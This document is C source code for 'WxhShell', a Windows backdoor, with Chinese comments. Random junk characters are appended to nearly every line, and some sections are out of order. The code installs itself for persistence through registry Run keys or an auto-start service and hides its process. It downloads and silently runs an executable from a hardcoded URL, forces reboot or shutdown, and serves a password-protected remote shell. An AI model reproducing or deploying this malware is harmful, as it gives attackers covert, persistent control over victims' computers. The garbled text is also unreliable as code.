DWORD BasePriority; 65s|gfu/
ULONG UniqueProcessId; e)7[weGN
ULONG InheritedFromUniqueProcessId; ,C(")?4aJ
} PROCESS_BASIC_INFORMATION; &``;1/J*W
cKFzn+
PROCNTQSIP NtQueryInformationProcess; ?sp
nmS3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h"]v+u`!SM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3D;\V&([
f:Ju20D
HANDLE hProcess; @x"vGYKd
PROCESS_BASIC_INFORMATION pbi; LnrR#fF]Z
xr)kHJ:v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hpLo
if(NULL == hInst ) return 0; 3V LwMF?
I)Lg=n$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :6N{~ [:4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Dq3e9fX
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ok2k;
+l
WR gAc%
if (!NtQueryInformationProcess) return 0; 8Z F Ps/HP
/Q})%j1S0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O2ety2}?f
if(!hProcess) return 0; 4N*Fq!k~
l|U=(aA]h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .5KRi6
"%-HZw%X
CloseHandle(hProcess); |giK]Z
C03ehjT<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
IkL|bV3E0
if(hProcess==NULL) return 0; O^F%ssF8
AEOo]b*&d
HMODULE hMod; Aj SIM.
char procName[255]; ~*THL0]~
unsigned long cbNeeded; ,?<jue/bd
;:8_H0X'K
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'hf-)\Ylf
yi
r#G""7
CloseHandle(hProcess); r3_@ L>;
lNls8@
if(strstr(procName,"services")) return 1; // 以服务启动 L?4c8!Q
_"##p
return 0; // 注册表启动 gWv/3hWWB
} !T6oD]x3
a}0\kDe
// 主模块 u <D&RT
int StartWxhshell(LPSTR lpCmdLine) WI](a8bm
{ qW$IpuK
SOCKET wsl; Y'%sA~g
BOOL val=TRUE; K?(ls$
int port=0; E;| q
struct sockaddr_in door; kO~xE-(=
n M,m#"AI
if(wscfg.ws_autoins) Install(); W446;)?5
@,pO%,E6
port=atoi(lpCmdLine); l4|bpR Cp
Uj1^?d+b
if(port<=0) port=wscfg.ws_port; _I3j7f,V
9\R:J"X
WSADATA data; n"(n*Hf7b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k "'q
dxUq5`#G,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zp,f}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cQ1oy-paD
door.sin_family = AF_INET; ce1KUwo]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'O
\YL(j_e
door.sin_port = htons(port); v9u/<w68!
S-Ryt>G
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vn6/H8
closesocket(wsl); 5i83(>p3]e
return 1; 2W$c%~j$2
} -gv@
.# N
!94&Uk(O
if(listen(wsl,2) == INVALID_SOCKET) { D8paIp
closesocket(wsl); <!-8g!
return 1; (
y'i{:B
} 4Y Xtl+G
Wxhshell(wsl); xJJlV P
WSACleanup(); y? )v-YGu
mQ('X~l
return 0; EYcvD^!1g
yQM7QLbTk
} 8 y/YX
{ZY^tTsY
// 以NT服务方式启动 $/Zsy6q:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zf5s\w.4
{ _+wv3?
c"
DWORD status = 0; R]m`v: 9
DWORD specificError = 0xfffffff; !M)!
iG6 ^s62z7
serviceStatus.dwServiceType = SERVICE_WIN32; ^$`xUKp`pn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Rr|VGtg
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =LZj6'
serviceStatus.dwWin32ExitCode = 0; $_@~t$
serviceStatus.dwServiceSpecificExitCode = 0; aVO5zR./)
serviceStatus.dwCheckPoint = 0; ]J~37 35]
serviceStatus.dwWaitHint = 0; s~IOc%3
N 2L/A
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G0^23j
if (hServiceStatusHandle==0) return; Y^2`)':
{!o-y=
status = GetLastError(); Qh? E*9
if (status!=NO_ERROR) p%]*I?
{ de[c3!#1d
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4ME8NEE
serviceStatus.dwCheckPoint = 0; C!Y|k.`p
serviceStatus.dwWaitHint = 0; E`=y9r*Z
serviceStatus.dwWin32ExitCode = status; 7h&$^
serviceStatus.dwServiceSpecificExitCode = specificError; 818</b<yn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )j',e$m
return; i>7f9D7
} `$nMTx]Y
Ys+Dw-
serviceStatus.dwCurrentState = SERVICE_RUNNING; c<y.Y0
serviceStatus.dwCheckPoint = 0; ~Rs|W;
serviceStatus.dwWaitHint = 0; 9hmCvQgtf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^G~W}z?-
} % 95:yyH 0
3wX{U8mrg
// 处理NT服务事件,比如:启动、停止 ,B5Ptf#
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0{BPT>'
{ ^ B=x-G.
switch(fdwControl) v"F.<Q
{ dt',)i8D
case SERVICE_CONTROL_STOP: one^XYy1%
serviceStatus.dwWin32ExitCode = 0; _B8e1an
serviceStatus.dwCurrentState = SERVICE_STOPPED; F$ZWQ9&5U0
serviceStatus.dwCheckPoint = 0; PxfeU2^{0
serviceStatus.dwWaitHint = 0; SL hki)|
{ y$r9Y!?s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U^+9l?ol
} ?"{+m
return; ga4 gH>4
case SERVICE_CONTROL_PAUSE: 83412@&
serviceStatus.dwCurrentState = SERVICE_PAUSED; )XnG.T{0|
break; HsR#dp+s~
case SERVICE_CONTROL_CONTINUE: @1*lmFq'kV
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,b-wo
break; k]qZOO}
case SERVICE_CONTROL_INTERROGATE: ,au64sH
break; &VY;Al
}; =<O{t#]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kZU8s'C
} `]LaX&u
>BrxJw#M
// 标准应用程序主函数 E&{*{u4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `yP-,lA$
{ "f!*%SR:
1
c72Oy+#
// 获取操作系统版本 q-o=lU"
OsIsNt=GetOsVer(); #_2V@F+,
GetModuleFileName(NULL,ExeFile,MAX_PATH); $\81WsL'
Eh!%NeO
// 从命令行安装 AU^Wy|i5Q
if(strpbrk(lpCmdLine,"iI")) Install(); ~H@':Mms.h
yz9`1R2c
// 下载执行文件 KfG%#2\G_
if(wscfg.ws_downexe) { _8 vxb
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bjm`u3
A
WinExec(wscfg.ws_filenam,SW_HIDE); \#LKsQa
} ,*E%D _
J}._v\Q7P
if(!OsIsNt) { @tEVgyN
// 如果时win9x,隐藏进程并且设置为注册表启动 E;VB oN [
HideProc(); ;FMK>%Zq
StartWxhshell(lpCmdLine); ZNOoyWYi5
} pr;<n\Y{
else 6ynQCD
if(StartFromService()) xXA$16kd
// 以服务方式启动 g~FB&U4c
StartServiceCtrlDispatcher(DispatchTable); u\t[rC=yd
else [O"i!AQ
// 普通方式启动 2O<Sig=
StartWxhshell(lpCmdLine); )P|%=laE8
>z>UtT:
return 0; Mky$#SI11
} ;f=:~go
.7ahz8v
u+I-!3J87
{@Diig
=========================================== :]y;t/
*9j9=N?
e!tgWYN
5\R8>G~H
nz+o8L,
R#Bt!RNZ
" ^3=8*Xr
mKe{y.
#include <stdio.h> Ic#+*W\ZW
#include <string.h> /rvXCA)j
#include <windows.h> t$l[ 4
R-
#include <winsock2.h> s$H5W`3
#include <winsvc.h> ;Ic3th%u
#include <urlmon.h> U?$v1 ||
a P{xMB#1h
#pragma comment (lib, "Ws2_32.lib") B1nb23SY T
#pragma comment (lib, "urlmon.lib") B{)Du
:)
,Yi =s;E
#define MAX_USER 100 // 最大客户端连接数 I=(O,*+PQ
#define BUF_SOCK 200 // sock buffer :6HMb^4
#define KEY_BUFF 255 // 输入 buffer JYv&I t
ZmmuP/~2K
#define REBOOT 0 // 重启 Tw!x*
#define SHUTDOWN 1 // 关机 c}QQ8'_
*\S>dhJ4
#define DEF_PORT 5000 // 监听端口 {/QpEd>3+
?a}eRA7
#define REG_LEN 16 // 注册表键长度 xZ;';}&pj
#define SVC_LEN 80 // NT服务名长度 X\1D[n:
ngm7Vs
// 从dll定义API {F@;45)o
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zh/+1
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bj@&c>
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }Ecm
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a#uJzYB0
1"v;w!uh
// wxhshell配置信息 1d\K{ 7i#
struct WSCFG { }}_WZ},h
int ws_port; // 监听端口 B5I(ai7<M
char ws_passstr[REG_LEN]; // 口令 ;H:qDBH
int ws_autoins; // 安装标记, 1=yes 0=no c#HocwP@
char ws_regname[REG_LEN]; // 注册表键名 5~rs55W
char ws_svcname[REG_LEN]; // 服务名 $<ZX};/D
char ws_svcdisp[SVC_LEN]; // 服务显示名 ~gBqkZ# y?
char ws_svcdesc[SVC_LEN]; // 服务描述信息 wV5<sH__
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oK(ua
int ws_downexe; // 下载执行标记, 1=yes 0=no QQ!,W':
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ei}DA=:s
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?|s[/zPS=
xFpJ#S&
}; ^xqh!
c#Y9L+O
// default Wxhshell configuration u{H_q&1
struct WSCFG wscfg={DEF_PORT, Pyyx/u+?@
"xuhuanlingzhe", brTB
/(E
1, 7XR[`Tn9<
"Wxhshell", P `2Rte6s
"Wxhshell", IloHU6h'
"WxhShell Service", ;nh7Elk
"Wrsky Windows CmdShell Service", |#-Oz#Eg'
"Please Input Your Password: ", UI!EIZ*~
1, *-P@|eg
"http://www.wrsky.com/wxhshell.exe", B"Fg`s+]U
"Wxhshell.exe" -C8awtbC
}; G 8NSBaZe
X;6X
K$"
// 消息定义模块 _')KDy7
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8=2)I.
char *msg_ws_prompt="\n\r? for help\n\r#>"; D~mGv1t"
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5@v!wms
char *msg_ws_ext="\n\rExit."; <?Lj!JGX
char *msg_ws_end="\n\rQuit."; aX~iY ~?_
char *msg_ws_boot="\n\rReboot..."; Eydk645:3
char *msg_ws_poff="\n\rShutdown..."; lcUL7
char *msg_ws_down="\n\rSave to "; DH9?~|
Q7DkhKT
char *msg_ws_err="\n\rErr!"; 9]7^/g*!
char *msg_ws_ok="\n\rOK!"; D!@c,H
?iia
char ExeFile[MAX_PATH]; S8]g'!
int nUser = 0; 99ZQlX
HANDLE handles[MAX_USER]; RKBtwZx>f
int OsIsNt; sF<4uy
zF{z_c#3@
SERVICE_STATUS serviceStatus; yXEC@#?|
SERVICE_STATUS_HANDLE hServiceStatusHandle; Z>X-u eV
-AffKo
// 函数声明 XDI@mQmzB
int Install(void); SgY>$gP9S
int Uninstall(void); JgxOxZS`@
int DownloadFile(char *sURL, SOCKET wsh); IGbQ L
int Boot(int flag); Z#Zk)
void HideProc(void); zCco/]h
int GetOsVer(void); Zd~Z`B} &
int Wxhshell(SOCKET wsl); 9xWeVlfQ
void TalkWithClient(void *cs); n=yFw\w'
int CmdShell(SOCKET sock); s\ ~r
8
int StartFromService(void); YHAy+S
int StartWxhshell(LPSTR lpCmdLine); `GSfA0?
h\20
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ey Cg *
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F5*Xx g}N
Rq\.RR](
// 数据结构和表定义 )fC^h=Qp
SERVICE_TABLE_ENTRY DispatchTable[] = f-23.]`v
{ 4~Z\tP|Q.
{wscfg.ws_svcname, NTServiceMain}, qvab>U`
{NULL, NULL} \
(X~Z
}; Tlf G"HzZ%
R_Z
H+@O
// 自我安装 #nu?b?X'
int Install(void) fYH%vr)
{ fo5!d@Nv
char svExeFile[MAX_PATH]; ikofJl]9
HKEY key; z}pdcQl#
strcpy(svExeFile,ExeFile); l9SbuT$U
hx:x5L>
// 如果是win9x系统,修改注册表设为自启动 ^c-1wV`/
if(!OsIsNt) { v4 c_UFEh<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TYB^CVSZ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P [gqv3V
RegCloseKey(key); D+k5e=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3|@Ske1%Y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O-mP{
RegCloseKey(key); @=@WRPGM*9
return 0;
ft$/-;
} m+V'*[O{
} O@EpRg1
} % +eZ U)N
else { cl{;%4$9
}b~ZpUL!
// 如果是NT以上系统,安装为系统服务 =m1B1St 2
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >-]Y%O;}
if (schSCManager!=0) y&SueU=
{ \E0Uj>9+[
SC_HANDLE schService = CreateService B'&%EW]
( CjykM])
schSCManager, 1'}~;?_
wscfg.ws_svcname, zs7K :OlkA
wscfg.ws_svcdisp, K72U0}$B
SERVICE_ALL_ACCESS, fpzC#
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b~cN#w
#
SERVICE_AUTO_START, @4H*kA
SERVICE_ERROR_NORMAL, WzZb-F
svExeFile, Z.rKV}yjY
NULL, 3VKArv-
NULL, `F(KM '
NULL, ^
b}_[B
NULL, qL3*H\9N
NULL qf+I2kyS
); ` 8.d
if (schService!=0) mO]>(^c
{ h*&-[nSo
CloseServiceHandle(schService); lB3W|-Ci
CloseServiceHandle(schSCManager); !7Ta Vx}`(
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~u-mEdu3C
strcat(svExeFile,wscfg.ws_svcname); R`A@F2
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uln[UK
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wD"Y1?Mr
RegCloseKey(key); \~U8<z
return 0; JZN'U<R
} 41,Mt
} \u2p] K>
CloseServiceHandle(schSCManager); aQw?r
} mZ*!$P:vy"
} A=E1S{C
"M1[@xog
return 1; @/XA*9]l
} 91e&-acA
3fM~R+p
// 自我卸载 AEhh
6v
int Uninstall(void) >STWt>s
{ @)|62Dv /
HKEY key; |%we@
E
r#3(;N{=
if(!OsIsNt) { ;#cb%e3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZB<goEg
RegDeleteValue(key,wscfg.ws_regname); A2g+m
RegCloseKey(key); g!cTG-bh>J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TDk'
RegDeleteValue(key,wscfg.ws_regname); iIA&\'|;i
RegCloseKey(key); '$;S?6$eW
return 0; 5c!~WckbJ
} 9SXFiZA(r
} DNC2]kS<
} 8"Hy'JA$O
else { {Jwh .bJ
(
{5LB4
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X^eTf-*T
if (schSCManager!=0) CsJw;]dYI
{ x{j|Tf3,G
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J9zSBsp_
if (schService!=0) %sbDH
{ @|idlIey
if(DeleteService(schService)!=0) { "i(k 8+iK
CloseServiceHandle(schService); Bc`jkO.q
CloseServiceHandle(schSCManager); z* "zXLC
return 0; uL\ B[<:
} r|:i: ii
CloseServiceHandle(schService); U;Y{=07a@
} 6`+dP"@
CloseServiceHandle(schSCManager); 1c8J yp
} V^As@P8,'(
} 5O%Q*\(
NDWpV
return 1; v&;q4b4
} ,dLh`t<\
%!mJnc%
// 从指定url下载文件 ]EC zb/
int DownloadFile(char *sURL, SOCKET wsh) @~qlSU&
{ n&jfJgD&g
HRESULT hr; # 4L[8(+V
char seps[]= "/"; yn)K1f^
char *token; O=?WI
char *file; J 6D?$
char myURL[MAX_PATH]; L#1YR}m
char myFILE[MAX_PATH]; wKIQK!B)mF
=c"`>Vi@d
strcpy(myURL,sURL); -1;BwlL
token=strtok(myURL,seps); !X[b 4p
while(token!=NULL) 6*J`2U9Q
{ K*xqQ]&
file=token; LJt#c+]Li
token=strtok(NULL,seps); hOx'uO`x(
} & gnE"
,`ST Va-
GetCurrentDirectory(MAX_PATH,myFILE); *BF5B\[r?
strcat(myFILE, "\\");
uQ=p }w
strcat(myFILE, file); dgh)Rfp3
send(wsh,myFILE,strlen(myFILE),0); y1G Vn o
send(wsh,"...",3,0); TL-sxED,,D
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (sHqzWh
if(hr==S_OK) y0k*iS
e
return 0; wC+_S*M-K
else tpwMy:<Ex
return 1; g"Mqh!{
FI
WwG78b-OA
} Ri =>evx
q\cH+n)C
// 系统电源模块 s<Px au+A
int Boot(int flag) =iO K($
{ '/trM %<
HANDLE hToken; B"rnSui
TOKEN_PRIVILEGES tkp; yV,ki^^
{4SwCN /
if(OsIsNt) { $6e&sDJ
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eKPxSN Z
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z-$ bce9*
tkp.PrivilegeCount = 1; XkLl (uyh
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kscZ
zXv
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G0Q}
1
if(flag==REBOOT) { aw&:$twbM
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :8\!; !
return 0; ,K'>s<}
} VJmX@zX9
else { >77N5>]e
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y_tLSOD#/
return 0; veIR)i@dx
} %xF
j;U?
} azF|L"-RP
else { (L}
if(flag==REBOOT) { rH
Et]Xa
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FKRO0%M4}Z
return 0; #}*w &y
} |h$*z9bsf
else { KE! aa&g
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `@1y|j:m
return 0; lO3W:,3_a
} dfl| 6R
} S<HR6Xw
o=@0Bd8
return 1; d$Y3 a^O|
} t\Pn67t
nm5zX,
// win9x进程隐藏模块 zO8`xrN!
void HideProc(void) mO<sw
{ g S xK9P
{5w'.Z]0v
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~'>RK
if ( hKernel != NULL ) E^B*:w3
{ H<T9$7Yr%r
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {C3AxK0
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q/w<>u
FreeLibrary(hKernel); k]?M^jrm
} tl9=u-D13@
Mwp[?#1j
return; y"q7Gx*^j
} \9k$pC+l
l`=).k
// 获取操作系统版本 65X31vU
int GetOsVer(void) v|uY\Z
{ tVVnQX
OSVERSIONINFO winfo; |:yQOq|
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k.=67L
GetVersionEx(&winfo); a Mp*Ap
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B^g+_;
return 1; banie{ e
else lCT N
dW+=
return 0; 2c:H0O
0o
} Dlz||==
:aHD'K
// 客户端句柄模块 'D#iT}Vu
int Wxhshell(SOCKET wsl) eLE9-K+
{ *:
)hoHp&